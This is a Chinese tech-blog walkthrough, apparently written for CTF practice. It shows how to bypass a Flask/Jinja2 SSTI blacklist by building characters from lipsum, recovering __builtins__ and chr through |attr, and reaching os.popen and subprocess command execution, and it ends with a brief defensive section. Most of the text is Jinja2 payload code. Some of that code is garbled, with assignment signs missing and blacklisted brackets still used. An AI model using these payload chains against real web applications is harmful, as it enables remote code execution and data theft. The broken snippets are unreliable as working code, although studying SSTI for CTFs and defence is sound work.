Flask SSTI绕过黑名单实战:从lipsum到反弹shell的完整思路解析

张开发
2026/4/12 23:51:16 15 分钟阅读

分享文章

Flask SSTI绕过黑名单实战:从lipsum到反弹shell的完整思路解析
Flask SSTI黑名单绕过实战从字符构造到系统交互的深度探索在CTF竞赛和渗透测试中Flask框架的服务器端模板注入(SSTI)一直是高频考点。面对严格的黑名单过滤如何从零开始逐步构建完整的利用链本文将深入剖析一种不依赖unicode字符的完整绕过方案展示如何仅利用未被过滤的基础功能实现从字符构造到系统命令执行的完整突破。1. 理解黑名单与可用资源首先我们需要全面分析题目给出的黑名单限制.,[,\,,\\,,:,_, chr,pop,class,base,mro,init,globals,get, eval,exec,os,popen,open,read, select,url_for,get_flashed_messages,config,request, count,length,,,,,,,,,,,0,1,2,3,4,5,6,7,8,9关键限制包括所有常规属性访问方式点号和中括号字符串引号和转义符号关键函数名和模块os、chr等全角/半角数字字符可用突破口|attr过滤器未被过滤lipsum函数未被限制部分字符串拼接方法如join过滤器提示在严格过滤环境下lipsum函数常包含丰富的全局变量引用和字符串资源是突破的关键起点。2. 数字构造的巧妙方法当数字字符被完全过滤时我们可以利用lipsum函数的输出内容间接获取数字。lipsum默认生成的Lorem Ipsum文本中包含可预测的字符分布{% set textlipsum|string|list %} {% set onetext.index(o) %} {% set threetext.index(r) %} {% set fivetext.index(m) %}通过分析文本中字符的位置索引我们可以获得基础数字。例如o通常出现在位置21r通常出现在位置3m通常出现在位置5虽然这种方法获取的数字有限但通过数学运算可以扩展{% set seventhreefive-one %} {% set ninefivefive-one %}3. 关键字符的获取技术有了基础数字后下一步是获取关键字符如下划线{% set underscore(lipsum|string|list).pop(18) %}由于点号和中括号被过滤我们需要用attr重构pop方法{% set pop_funcdict(poa,pa)|join %} # 拼接pop {% set underscore(lipsum|string|list)|attr(pop_func)(18) %}类似方法可以获取其他关键字符斜杠chr(47)→ 通过数字运算得到47后构造空格chr(32)冒号虽然被过滤但可通过其他方式替代4. 函数与模块的链式构建获取下划线后可以构造__globals__等关键属性{% set globals_strunderscore*2 globals underscore*2 %} {% set builtins_strunderscore*2 builtins underscore*2 %}通过attr访问全局对象{% set globals_objlipsum|attr(globals_str) %} {% set builtins_objglobals_obj|attr(get)(builtins_str) %}最终构建chr函数{% set chr_funcbuiltins_obj|attr(get)(chr) %}5. 完整利用链的组装有了chr函数和数字构造能力可以生成任意字符{% set slashchr_func(47) %} # 生成/ {% set spacechr_func(32) %} # 生成空格构建系统命令字符串{% set cmd_parts[ls,space,slash,var,slash,www,slash,flask] %} {% set cmdcmd_parts|join %}执行系统命令并获取结果{% set os_objglobals_obj|attr(get)(os) %} {% set resultos_obj.popen(cmd).read() %} {{ result }}6. 实战技巧与优化方案在实际CTF比赛中还需要考虑以下优化路径发现技巧检查/proc/self/cmdline获取当前进程信息尝试常见路径如/app、/opt等使用find命令定位关键文件命令执行替代方案# 当popen被过滤时 {% set import_funcbuiltins_obj|attr(get)(__import__) %} {% set subprocessimport_func(subprocess) %} {{ subprocess.check_output(cmd,shellTrue) }}内存高效利用# 减少模板变量数量 {% set x(lipsum|attr(underscore*2globalsunderscore*2)|attr(get)(__builtins__)|attr(get)(chr))(47) %}7. 防御视角的思考从防御角度看有效的SSTI防护应深度过滤策略禁用|attr等危险过滤器限制模板中可访问的对象层级沙箱环境from jinja2.sandbox import SandboxedEnvironment env SandboxedEnvironment()输入验证严格校验所有模板变量禁止用户控制模板结构在真实业务场景中应彻底避免将用户输入作为模板渲染。对于必须使用动态模板的情况建议采用严格的白名单机制而非黑名单。

更多文章